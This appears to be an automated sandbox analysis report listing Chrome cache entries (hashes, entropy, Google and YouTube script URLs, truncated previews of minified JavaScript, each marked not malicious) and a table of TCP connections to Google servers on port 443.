Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Fd=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.ye=function(a){return _.Kb(a)&&a.nodeType==1};_.ze=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.ve(a),a.appendChild(_.le(a).createTextNode(String(b)))};var Ae;_.Be=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(Ae\|\|(Ae={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=Ae,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Fe;_.Ee=func

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	downloaded
Size (bytes):	14486
Entropy (8bit):	5.4718895434721855
Encrypted:	false
SSDEEP:	384:IYim7O/sAg9U6KAQdkzFc+5aiWQLHO91CIuW:IoqUAh8vz5W2E
MD5:	852EB28FFE70864E2DA7A630DB5EE2FD
SHA1:	E83A4A9E0FA2B15F5C3257ABDD6903AC3801BC49
SHA-256:	E6EA49B04FF853C39C64332558E2B75A04D16A57ED8533B1691102B27C0CB712
SHA-512:	494D2DCB3FEE90430CDBEAA5693A2B1D41DC5EF545B2EA0D438B68FCC9375943789930ED619B6979FE9CE14A5E00B10AA6C1D6851282172E64CF9DA61B696F2F
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/js/googleapis.proxy.js?onload=startup
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	downloaded
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:	384:4o63kjilKDknpjTqty5qTWZhuHjiyBMAtmN4C4SYCG3EzZYBFS/+0O/txrncOnk5:Utlrpgy5GZHm4C4N10kv0O/zrYe1M
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
Reputation:	low
URL:	https://youtube.googleapis.com/s/player/0ccfa671/www-widgetapi.vflset/www-widgetapi.js
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (684)
Category:	downloaded
Size (bytes):	6365
Entropy (8bit):	5.416928499013917
Encrypted:	false
SSDEEP:	96:Scw/+7BQRacy2Wfa46/gdpZUeOl6hV9i/5SrTXgF5RU7:p57waa46/cOl2V9i/5OEvRU7
MD5:	4CD1A3ACB2F948314D12808ABE1359C1
SHA1:	7C805F69347DCAE0E50AB62ABB310240290D9B17
SHA-256:	B8C18B890AE10D48394379C8C8A070D701489AFDFEB616E2B6167FEB45B52722
SHA-512:	31FF69AE33EF09A1F882C1E5A64B68CACB58E6DE35F289B3979B194EB785F0915FABB49329185E2F9043305B288E04B92816CFC6CBB279940A3A4E059B635425
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.sdyYGXG50sM.O/am=gME/d=0/rs=AO0039uViBYhO_mJm9R2c8FbVj6CszGwNA/m=MpJwZc,UUJqVe,sy3,s39S4,syk,pw70Gc"
Preview:	try{.B("MpJwZc");..C();.}catch(e){_DumpException(e)}.try{.B("UUJqVe");..C();.}catch(e){_DumpException(e)}.try{.$f(Sz);.}catch(e){_DumpException(e)}.try{.B("s39S4");.var rBc=function(a){if(!Wva(a))throw Error("K``"+String(a));},sBc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),e0a(b,!1))},tBc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return ph(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);Zka(a)},xBc=function(){uBc\|\|(uBc=!0,vBc=jja,jja=function(a){vBc&&.vBc(a);for(var b=0;b<a.length;b++){var c=a[b];Jf(c)&&ag(Sf(c)).dVa(c)}},wBc=kja,kja=function(a){wBc&&wBc(a);for(var b=0;b<a.length;b++){var c=a[b];Jf(c)&&ag(Sf(c)).eVa(c)}})},yBc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-c

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:	6:6v/lhPeoMMphEt0Sa2AKhmC4cR5HIQoplQfQjy30up:6v/7bn2AKhmMjHv2lQfQjw0c
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/doclist/images/mediatype/icon_3_pdf_x16.png
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	downloaded
Size (bytes):	103241
Entropy (8bit):	5.670718081518454
Encrypted:	false
SSDEEP:	3072:y8kTeZp+1dJsxPHh8idFwsxpm7numd7km:idJ4+T7ucYm
MD5:	5520674C8905B28FB811DA072466A0E3
SHA1:	383E9CD7373062D856D58C1EC94FA8DF2B586DAA
SHA-256:	078050EF3D980D3D6CFE66EACA8C0C74D47EEF70C3656BC6DF7F95CE3C79F76C
SHA-512:	78DAD7D55D345A9B6F2ED0A7F3B03A6E776BA0631F08537D8544E46E5F927D270D0D358B3E0F139A82A8628E4ADE083618B418D61F41D740EB36172F3223EECB
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.sdyYGXG50sM.O/am=gME/d=0/rs=AO0039uViBYhO_mJm9R2c8FbVj6CszGwNA/m=sy62,sy11,sy69,sy6h,sy6i,sy6k,sy6j,sy6n,rj51oe,gypOCd"
Preview:	try{.var Aee=function(a){for(var b=kd.apply(1,arguments),c=a[0],d=0;d<a.length-1;d++)c+=String(b[d])+a[d+1];if(/[<>]/.test(c))throw Error("Ca`"+c);return c},Bee=function(){XK.apply(this,arguments)};P(Bee,XK);Bee.prototype.enqueue=function(a,b){this.insert(a,b)};var Cee=function(a,b){a%=b;return a*b<0?a+b:a},Dee=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var $Ic=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pP=function(){return!(faa&&ha?ha.mobile:!$Ic()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!$Ic()};.}catch(e){_DumpException(e)}.try{.var ZVe=function(a,b){this.C=a instanceof nv?a:new nv(a,b)};Vk(ZVe,Wxb);ZVe.prototype.ee=function(a,b,c,d){var e=Sf(a);var f=e.body;e=e.documentElement;e=new nv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=Xxb(a);f-=g.x;e-=g.y;lG(new nv(f,e),a,b,c,null,null,d)};var $Ve=function(

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
Reputation:	low
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	dropped
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
Reputation:	low
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	5.282704867347437
Encrypted:	false
SSDEEP:	24:NwXIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:NwXmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	6A96AE81FF5FCC195755EAD8817F4FA1
SHA1:	B863CFDE580EB3DBF9B5A5E669EF27A2EABD8F73
SHA-256:	605DAF6CF13B0CB273E3128B6FDD88B6420AA1D8CE94F9E5863F32AA450D265E
SHA-512:	A43CF4EF7FB4E82E12F6B1A0CDA757294694F073AE5CD0E3D64017A93AF30C5F0CE015F4B31C77BBEDBECCB610D0BA013B4A37A174045BF639786D519B95C686
Malicious:	false
Reputation:	low
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/0ccfa671\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	dropped
Size (bytes):	103241
Entropy (8bit):	5.670718081518454
Encrypted:	false
SSDEEP:	3072:y8kTeZp+1dJsxPHh8idFwsxpm7numd7km:idJ4+T7ucYm
MD5:	5520674C8905B28FB811DA072466A0E3
SHA1:	383E9CD7373062D856D58C1EC94FA8DF2B586DAA
SHA-256:	078050EF3D980D3D6CFE66EACA8C0C74D47EEF70C3656BC6DF7F95CE3C79F76C
SHA-512:	78DAD7D55D345A9B6F2ED0A7F3B03A6E776BA0631F08537D8544E46E5F927D270D0D358B3E0F139A82A8628E4ADE083618B418D61F41D740EB36172F3223EECB
Malicious:	false
Reputation:	low
Preview:	try{.var Aee=function(a){for(var b=kd.apply(1,arguments),c=a[0],d=0;d<a.length-1;d++)c+=String(b[d])+a[d+1];if(/[<>]/.test(c))throw Error("Ca`"+c);return c},Bee=function(){XK.apply(this,arguments)};P(Bee,XK);Bee.prototype.enqueue=function(a,b){this.insert(a,b)};var Cee=function(a,b){a%=b;return a*b<0?a+b:a},Dee=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var $Ic=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pP=function(){return!(faa&&ha?ha.mobile:!$Ic()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!$Ic()};.}catch(e){_DumpException(e)}.try{.var ZVe=function(a,b){this.C=a instanceof nv?a:new nv(a,b)};Vk(ZVe,Wxb);ZVe.prototype.ee=function(a,b,c,d){var e=Sf(a);var f=e.body;e=e.documentElement;e=new nv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=Xxb(a);f-=g.x;e-=g.y;lG(new nv(f,e),a,b,c,null,null,d)};var $Ve=function(

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2024 20:42:25.877759933 CET	49675	443	192.168.2.4	173.222.162.32
Nov 14, 2024 20:42:29.472371101 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:29.472409010 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:29.472512007 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:29.472776890 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:29.472826004 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:29.472937107 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:29.473687887 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:29.473705053 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:29.473901033 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:29.473922968 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.335920095 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.336287975 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.336325884 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.336862087 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.336965084 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.337903023 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.337975025 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.338481903 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.339261055 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.339327097 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.339391947 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.339492083 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.339601994 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.339613914 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.340688944 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.340780020 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.343190908 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.343278885 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.343691111 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.343879938 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.388782978 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.388806105 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.388844013 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.429544926 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.877526999 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.877568960 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.877621889 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.877645016 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.877676010 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.877718925 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.877727032 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.877739906 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.877773046 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.877784014 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.881306887 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.881366968 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.881382942 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.921505928 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.996479034 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.996546984 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.996587992 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.996599913 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.996668100 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.996710062 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.996717930 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.996776104 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.996819019 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.996826887 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.997296095 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:30.997349024 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:30.997356892 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.049854994 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.049865007 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.068412066 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.095725060 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.114765882 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.114811897 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.114862919 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.114870071 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.114882946 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.114929914 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.115034103 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.115335941 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.115483046 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.115510941 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.115534067 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.115542889 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.115591049 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.115889072 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.157103062 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.157110929 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.166054964 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.166116953 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.166126013 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.206598997 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.233753920 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.233920097 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.233967066 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.233975887 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234045982 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234090090 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.234098911 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234193087 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234236002 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.234244108 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234574080 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234616995 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.234625101 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234668016 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.234708071 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.234715939 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.281955004 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.284779072 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.284944057 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.284995079 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.285002947 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.345865965 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.352765083 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.352910995 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.352967024 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.352982998 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.353065014 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.353112936 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.353127003 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.353254080 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.353306055 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.353326082 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.353426933 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.353481054 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.353499889 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.393698931 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.403620005 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.403788090 CET	443	49736	142.250.185.238	192.168.2.4
